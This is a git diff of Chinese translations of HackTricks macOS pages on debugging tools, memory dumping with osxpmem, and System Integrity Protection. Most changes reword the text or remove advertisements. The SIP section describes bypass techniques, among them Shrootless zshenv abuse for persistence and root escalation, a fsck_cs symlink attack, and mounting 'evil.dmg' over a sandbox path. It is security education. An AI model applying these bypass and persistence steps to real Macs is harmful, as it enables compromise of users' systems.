其 plist 位于 `/System/Library/LaunchDaemons/com.apple.sysdiagnose.plist`,声明了 3 个 MachServices:
|
||||
|
||||
|
@ -270,7 +257,7 @@ macOS 暴露了一些有趣的 API,提供有关进程的信息:
|
|||
|
||||
MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什么**时非常有用。
|
||||
|
||||
此外,有一些日志将包含标签 `<private>` 以**隐藏**某些**用户**或**计算机**的**可识别**信息。然而,可以**安装证书以披露此信息**。请按照 [**这里**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log) 的说明进行操作。
|
||||
此外,有一些日志将包含标签 `<private>` 以**隐藏**某些**用户**或**计算机**的**可识别**信息。然而,可以**安装证书以披露此信息**。请按照[**这里**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)的说明进行操作。
|
||||
|
||||
### Hopper
|
||||
|
||||
|
@ -280,23 +267,23 @@ MacOS 生成大量日志,这在运行应用程序时尝试理解**它在做什
|
|||
|
||||
#### 中间面板
|
||||
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过点击相应的图标:
|
||||
在中间面板中,您可以看到**反汇编代码**。您可以查看**原始**反汇编、**图形**、**反编译**和**二进制**,通过单击相应的图标:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (343).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
右键单击代码对象,您可以看到**对该对象的引用**或甚至更改其名称(这在反编译的伪代码中无效):
|
||||
右键单击代码对象,您可以查看**对/来自该对象的引用**,甚至可以更改其名称(这在反编译的伪代码中无效):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1117).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
此外,在**中间下方,您可以编写 python 命令**。
|
||||
此外,在**中间下方,您可以编写 Python 命令**。
|
||||
|
||||
#### 右侧面板
|
||||
|
||||
在右侧面板中,您可以看到有趣的信息,例如**导航历史**(以便您知道如何到达当前情况)、**调用图**,您可以看到所有**调用此函数的函数**和所有**此函数调用的函数**,以及**局部变量**信息。
|
||||
在右侧面板中,您可以看到有趣的信息,例如**导航历史**(以便您知道如何到达当前状态)、**调用图**,您可以看到所有**调用此函数的函数**和所有**此函数调用的函数**,以及**局部变量**信息。
|
||||
|
||||
### dtrace
|
||||
|
||||
它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。
|
||||
它允许用户以极低的**级别**访问应用程序,并提供了一种方法,让用户能够**跟踪** **程序**,甚至更改其执行流程。Dtrace 使用**探针**,这些探针**分布在内核中**,位于系统调用的开始和结束位置。
|
||||
|
||||
DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个探针。这些探针可以在**每个系统调用的入口和出口点**触发。与 DTrace 的交互通过 /dev/dtrace 进行,该接口仅对 root 用户可用。
|
||||
|
||||
|
@ -306,7 +293,7 @@ DTrace 使用 **`dtrace_probe_create`** 函数为每个系统调用创建一个
|
|||
您还可以使用您**编译的** **`dtrace`** 或 **`dtruss`** 二进制文件。
|
||||
{% endhint %}
|
||||
|
||||
可以通过以下方式获取 dtrace 的可用探针:
|
||||
dtrace 的可用探针可以通过以下方式获取:
|
||||
```bash
|
||||
dtrace -l | head
|
||||
ID PROVIDER MODULE FUNCTION NAME
|
||||
|
@ -320,7 +307,7 @@ ID PROVIDER MODULE FUNCTION NAME
|
|||
|
||||
要配置 DTrace 以激活探针并指定触发时要执行的操作,我们需要使用 D 语言。
|
||||
|
||||
更详细的解释和更多示例可以在 [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) 中找到。
|
||||
更详细的解释和更多示例可以在 [https://illumos.org/books/dtrace/chp-intro.html](https://illumos.org/books/dtrace/chp-intro.html) 找到。
|
||||
|
||||
#### 示例
|
||||
|
||||
|
@ -396,7 +383,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000
|
|||
|
||||
### ktrace
|
||||
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端只需调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 在特定代码上设置回调,然后使用 `ktrace_start` 启动它。
|
||||
`ktrace_*` API 来自 `libktrace.dylib`,它封装了 `Kdebug` 的 API。然后,客户端只需调用 `ktrace_session_create` 和 `ktrace_events_[single/class]` 来设置特定代码的回调,然后使用 `ktrace_start` 启动它。
|
||||
|
||||
即使在 **SIP 激活** 的情况下也可以使用这个。
|
||||
|
||||
|
@ -459,7 +446,7 @@ fs_usage -w -f network curl #This tracks network actions
|
|||
|
||||
### lldb
|
||||
|
||||
**lldb** 是 **macOS** 二进制 **debugging** 的事实标准工具。
|
||||
**lldb** 是 **macOS** 二进制 **调试** 的事实标准工具。
|
||||
```bash
|
||||
lldb ./malware.bin
|
||||
lldb -p 1122
|
||||
|
@ -498,7 +485,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //进程正在被调试 }`
|
||||
* 它还可以调用 **`ptrace`** 系统调用,使用 **`PT_DENY_ATTACH`** 标志。这 **防止** 调试器附加和跟踪。
|
||||
* 您可以检查 **`sysctl`** 或 **`ptrace`** 函数是否被 **导入**(但恶意软件可以动态导入它)
|
||||
* 正如在这篇文章中所述,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
* 正如在这篇文章中所提到的,“[击败反调试技术:macOS ptrace 变体](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
|
||||
“_消息 Process # exited with **status = 45 (0x0000002d)** 通常是调试目标使用 **PT\_DENY\_ATTACH** 的明显迹象_”
|
||||
|
||||
## 核心转储
|
||||
|
@ -507,7 +494,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
|
||||
* `kern.coredump` sysctl 设置为 1(默认值)
|
||||
* 如果进程不是 suid/sgid 或 `kern.sugid_coredump` 为 1(默认值为 0)
|
||||
* `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制核心转储的创建,并通过 `ulimit -c unlimited` 重新启用它们。
|
||||
* `AS_CORE` 限制允许该操作。可以通过调用 `ulimit -c 0` 来抑制代码转储的创建,并通过 `ulimit -c unlimited` 重新启用它们。
|
||||
|
||||
在这些情况下,核心转储根据 `kern.corefile` sysctl 生成,并通常存储在 `/cores/core/.%P` 中。
|
||||
|
||||
|
@ -516,7 +503,7 @@ settings set target.x86-disassembly-flavor intel
|
|||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含可以 **帮助开发人员诊断** 崩溃原因的信息。\
|
||||
对于在每个用户的 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
|
||||
对于在每个用户 launchd 上下文中 **运行的应用程序和其他进程**,ReportCrash 作为 LaunchAgent 运行,并将崩溃报告保存在用户的 `~/Library/Logs/DiagnosticReports/` 中。\
|
||||
对于守护进程、在系统 launchd 上下文中 **运行的其他进程** 和其他特权进程,ReportCrash 作为 LaunchDaemon 运行,并将崩溃报告保存在系统的 `/Library/Logs/DiagnosticReports` 中。
|
||||
|
||||
如果您担心崩溃报告 **被发送到 Apple**,可以禁用它们。如果不担心,崩溃报告可以帮助 **找出服务器崩溃的原因**。
|
||||
|
@ -629,18 +616,6 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
* [**Mac 恶意软件的艺术:分析恶意软件的指南**](https://taomm.org/)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -650,8 +625,8 @@ WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,57 +1,44 @@
|
|||
# macOS内存转储
|
||||
# macOS Memory Dumping
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP Hacking:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Memory Artifacts
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
### Swap Files
|
||||
|
||||
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
交换文件,例如 `/private/var/vm/swapfile0`,在 **物理内存满时作为缓存**。当物理内存没有更多空间时,其数据会被转移到交换文件中,然后根据需要再带回物理内存。可能会存在多个交换文件,名称如 swapfile0、swapfile1 等。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
### Hibernate Image
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
位于 `/private/var/vm/sleepimage` 的文件在 **休眠模式** 下至关重要。**当 OS X 进入休眠时,内存中的数据会存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户能够继续之前的工作。
|
||||
|
||||
***
|
||||
值得注意的是,在现代 MacOS 系统上,此文件通常出于安全原因被加密,导致恢复变得困难。
|
||||
|
||||
## 内存遗物
|
||||
* 要检查 sleepimage 是否启用加密,可以运行命令 `sysctl vm.swapusage`。这将显示文件是否被加密。
|
||||
|
||||
### 交换文件
|
||||
### Memory Pressure Logs
|
||||
|
||||
交换文件,例如`/private/var/vm/swapfile0`,在物理内存已满时充当**缓存**。当物理内存没有足够空间时,其数据会转移到交换文件,然后根据需要重新转移到物理内存。可能会存在多个交换文件,名称类似于swapfile0、swapfile1等。
|
||||
在 MacOS 系统中,另一个重要的内存相关文件是 **内存压力日志**。这些日志位于 `/var/log` 中,包含有关系统内存使用情况和压力事件的详细信息。它们对于诊断内存相关问题或了解系统如何随时间管理内存特别有用。
|
||||
|
||||
### 休眠镜像
|
||||
## Dumping memory with osxpmem
|
||||
|
||||
位于`/private/var/vm/sleepimage`的文件在**休眠模式**下至关重要。**当OS X休眠时,内存中的数据存储在此文件中**。唤醒计算机时,系统会从此文件中检索内存数据,使用户可以继续之前的操作。
|
||||
为了在 MacOS 机器上转储内存,可以使用 [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)。
|
||||
|
||||
值得注意的是,在现代MacOS系统上,出于安全原因,此文件通常是加密的,使恢复变得困难。
|
||||
|
||||
* 要检查休眠镜像是否启用了加密,可以运行命令`sysctl vm.swapusage`。这将显示文件是否已加密。
|
||||
|
||||
### 内存压力日志
|
||||
|
||||
MacOS系统中另一个重要的与内存相关的文件是**内存压力日志**。这些日志位于`/var/log`中,包含有关系统内存使用情况和压力事件的详细信息。它们对诊断与内存相关的问题或了解系统如何随时间管理内存非常有用。
|
||||
|
||||
## 使用osxpmem转储内存
|
||||
|
||||
要在MacOS机器中转储内存,可以使用[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)。
|
||||
|
||||
**注意**:以下说明仅适用于具有Intel架构的Mac。该工具现已存档,最后一次发布是在2017年。使用以下说明下载的二进制文件针对Intel芯片,因为在2017年时Apple Silicon还不存在。可能可以为arm64架构编译二进制文件,但您需要自行尝试。
|
||||
**注意**:以下说明仅适用于具有 Intel 架构的 Mac。此工具现已归档,最后一次发布是在 2017 年。根据以下说明下载的二进制文件针对 Intel 芯片,因为在 2017 年时 Apple Silicon 尚未出现。可能可以为 arm64 架构编译二进制文件,但您需要自己尝试。
|
||||
```bash
|
||||
#Dump raw format
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
|
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
|||
#Dump aff4 format
|
||||
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
|
||||
```
|
||||
如果你发现这个错误:`osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 你可以通过以下方式修复:
|
||||
如果您发现此错误:`osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 您可以通过以下方式修复它:
|
||||
```bash
|
||||
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
|
||||
sudo kextutil "/tmp/MacPmem.kext"
|
||||
#Allow the kext in "Security & Privacy --> General"
|
||||
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
|
||||
```
|
||||
**其他错误**可能通过在"安全性与隐私 --> 一般"中**允许加载kext**来修复,只需**允许**它。
|
||||
**其他错误**可能通过**允许加载kext**在“安全性与隐私 --> 常规”中修复,只需**允许**它。
|
||||
|
||||
您还可以使用这个**一行命令**来下载应用程序,加载kext并转储内存:
|
||||
您还可以使用此**单行命令**下载应用程序,加载kext并转储内存:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) 是一个由 **暗网** 驱动的搜索引擎,提供 **免费** 功能以检查公司或其客户是否被 **窃取恶意软件** **入侵**。
|
||||
|
||||
WhiteIntel 的主要目标是打击由于信息窃取恶意软件导致的账户接管和勒索软件攻击。
|
||||
|
||||
您可以访问他们的网站并免费尝试他们的引擎:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **基本信息**
|
||||
|
||||
macOS 中的 **系统完整性保护 (SIP)** 是一种机制,旨在防止即使是最特权的用户也对关键系统文件夹进行未经授权的更改。此功能在维护系统完整性方面发挥着至关重要的作用,通过限制在受保护区域内添加、修改或删除文件等操作。SIP 保护的主要文件夹包括:
|
||||
**系统完整性保护 (SIP)** 在 macOS 中是一种机制,旨在防止即使是最特权的用户也无法对关键系统文件夹进行未经授权的更改。此功能在维护系统完整性方面发挥着至关重要的作用,通过限制在受保护区域内添加、修改或删除文件等操作。SIP 保护的主要文件夹包括:
|
||||
|
||||
* **/System**
|
||||
* **/bin**
|
||||
* **/sbin**
|
||||
* **/usr**
|
||||
|
||||
管理 SIP 行为的规则定义在位于 **`/System/Library/Sandbox/rootless.conf`** 的配置文件中。在此文件中,以星号(\*)为前缀的路径被视为对其他严格 SIP 限制的例外。
|
||||
管理 SIP 行为的规则定义在位于 **`/System/Library/Sandbox/rootless.conf`** 的配置文件中。在此文件中,以星号 (\*) 开头的路径被视为对其他严格 SIP 限制的例外。
|
||||
|
||||
考虑以下示例:
|
||||
```javascript
|
||||
|
@ -82,7 +69,7 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec
|
|||
```bash
|
||||
csrutil status
|
||||
```
|
||||
如果您需要禁用 SIP,您必须在恢复模式下重新启动计算机(在启动时按 Command+R),然后执行以下命令:
|
||||
如果您需要禁用 SIP,您必须在恢复模式下重启计算机(在启动时按 Command+R),然后执行以下命令:
|
||||
```bash
|
||||
csrutil disable
|
||||
```
|
||||
|
@ -96,7 +83,7 @@ csrutil enable --without debug
|
|||
* **防止调试** macOS 系统进程,保护核心系统组件免受未经授权的访问和修改。
|
||||
* **抑制工具** 如 dtrace 检查系统进程,进一步保护系统操作的完整性。
|
||||
|
||||
[**在此演讲中了解有关 SIP 的更多信息**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
[**在此演讲中了解更多关于 SIP 的信息**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.**
|
||||
|
||||
## SIP 绕过
|
||||
|
||||
|
@ -104,8 +91,8 @@ csrutil enable --without debug
|
|||
|
||||
* **访问用户数据**:读取所有用户帐户的敏感用户数据,如邮件、消息和 Safari 历史记录。
|
||||
* **TCC 绕过**:直接操纵 TCC(透明性、同意和控制)数据库,以授予对网络摄像头、麦克风和其他资源的未经授权访问。
|
||||
* **建立持久性**:在 SIP 保护的位置放置恶意软件,使其即使在根权限下也能抵抗删除。这还包括篡改恶意软件删除工具(MRT)的潜力。
|
||||
* **加载内核扩展**:尽管有额外的保护,绕过 SIP 简化了加载未签名内核扩展的过程。
|
||||
* **建立持久性**:将恶意软件放置在 SIP 保护的位置,使其即使在根权限下也能抵抗删除。这还包括篡改恶意软件删除工具(MRT)的潜力。
|
||||
* **加载内核扩展**:尽管有额外的保护措施,绕过 SIP 简化了加载未签名内核扩展的过程。
|
||||
|
||||
### 安装包
|
||||
|
||||
|
@ -113,7 +100,7 @@ csrutil enable --without debug
|
|||
|
||||
### 不存在的 SIP 文件
|
||||
|
||||
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建它。恶意软件可以利用这一点来 **建立持久性** 在系统上。例如,如果恶意程序在 `rootless.conf` 中列出但不存在,它可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件。
|
||||
一个潜在的漏洞是,如果在 **`rootless.conf` 中指定了一个文件但当前不存在**,则可以创建它。恶意软件可以利用这一点在系统上 **建立持久性**。例如,如果恶意程序在 `rootless.conf` 中列出但不存在,它可以在 `/System/Library/LaunchDaemons` 中创建一个 .plist 文件。
|
||||
|
||||
### com.apple.rootless.install.heritable
|
||||
|
||||
|
@ -131,11 +118,11 @@ csrutil enable --without debug
|
|||
|
||||
#### CVE-2021-30892 - Shrootless
|
||||
|
||||
[**来自此博客文章的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) 发现了 macOS 的系统完整性保护(SIP)机制中的一个漏洞,称为“Shrootless”漏洞。该漏洞围绕 **`system_installd`** 守护进程,该进程具有权限 **`com.apple.rootless.install.heritable`**,允许其任何子进程绕过 SIP 的文件系统限制。
|
||||
[**来自此博客文章的研究人员**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) 发现了 macOS 的系统完整性保护(SIP)机制中的一个漏洞,称为 'Shrootless' 漏洞。该漏洞围绕 **`system_installd`** 守护进程,该进程具有权限 **`com.apple.rootless.install.heritable`**,允许其任何子进程绕过 SIP 的文件系统限制。
|
||||
|
||||
**`system_installd`** 守护进程将安装由 **Apple** 签名的包。
|
||||
|
||||
研究人员发现,在安装 Apple 签名的包(.pkg 文件)时,**`system_installd`** **运行** 包中包含的任何 **后安装** 脚本。这些脚本由默认 shell **`zsh`** 执行,如果存在,即使在非交互模式下,也会自动 **运行** 来自 **`/etc/zshenv`** 文件的命令。攻击者可以利用这种行为:通过创建恶意的 `/etc/zshenv` 文件并等待 **`system_installd` 调用 `zsh`**,他们可以在设备上执行任意操作。
|
||||
研究人员发现,在安装 Apple 签名的包(.pkg 文件)时,**`system_installd`** **运行** 包中包含的任何 **后安装** 脚本。这些脚本由默认 shell **`zsh`** 执行,如果存在,它会自动 **运行** 来自 **`/etc/zshenv`** 文件的命令,即使在非交互模式下。攻击者可以利用这种行为:通过创建恶意的 `/etc/zshenv` 文件并等待 **`system_installd` 调用 `zsh`**,他们可以在设备上执行任意操作。
|
||||
|
||||
此外,发现 **`/etc/zshenv` 可以作为一种通用攻击技术**,不仅仅用于 SIP 绕过。每个用户配置文件都有一个 `~/.zshenv` 文件,其行为与 `/etc/zshenv` 相同,但不需要根权限。该文件可以用作持久性机制,每次 `zsh` 启动时触发,或作为提升权限机制。如果管理员用户使用 `sudo -s` 或 `sudo <command>` 提升到根,`~/.zshenv` 文件将被触发,有效地提升到根。
|
||||
|
||||
|
@ -145,7 +132,7 @@ csrutil enable --without debug
|
|||
|
||||
#### [fsck\_cs 工具](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
|
||||
|
||||
发现了一个漏洞,其中 **`fsck_cs`** 被误导以破坏一个关键文件,因为它能够跟随 **符号链接**。具体来说,攻击者从 _`/dev/diskX`_ 创建了一个指向文件 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 的链接。在 _`/dev/diskX`_ 上执行 **`fsck_cs`** 导致 `Info.plist` 的损坏。该文件的完整性对操作系统的 SIP(系统完整性保护)至关重要,SIP 控制内核扩展的加载。一旦损坏,SIP 管理内核排除的能力就会受到影响。
|
||||
发现了一个漏洞,其中 **`fsck_cs`** 被误导以损坏一个关键文件,因为它能够跟随 **符号链接**。具体来说,攻击者从 _`/dev/diskX`_ 创建了一个指向文件 `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist` 的链接。在 _`/dev/diskX`_ 上执行 **`fsck_cs`** 导致 `Info.plist` 的损坏。该文件的完整性对操作系统的 SIP(系统完整性保护)至关重要,SIP 控制内核扩展的加载。一旦损坏,SIP 管理内核排除的能力就会受到影响。
|
||||
|
||||
利用此漏洞的命令是:
|
||||
```bash
|
||||
|
@ -171,7 +158,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
|
|||
```bash
|
||||
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
|
||||
```
|
||||
该过程的安全性可能会受到威胁,如果攻击者在启动之前更改了升级映像(`InstallESD.dmg`)。该策略涉及用恶意版本(`libBaseIA.dylib`)替换动态加载器(dyld)。此替换导致在启动程序时执行攻击者的代码。
|
||||
该过程的安全性可能会受到威胁,如果攻击者在启动之前更改升级映像(`InstallESD.dmg`)。该策略涉及用恶意版本(`libBaseIA.dylib`)替换动态加载器(dyld)。此替换导致在启动程序时执行攻击者的代码。
|
||||
|
||||
攻击者的代码在升级过程中获得控制权,利用系统对安装程序的信任。攻击通过通过方法交换(method swizzling)更改`InstallESD.dmg`映像,特别针对`extractBootBits`方法。这允许在使用磁盘映像之前注入恶意代码。
|
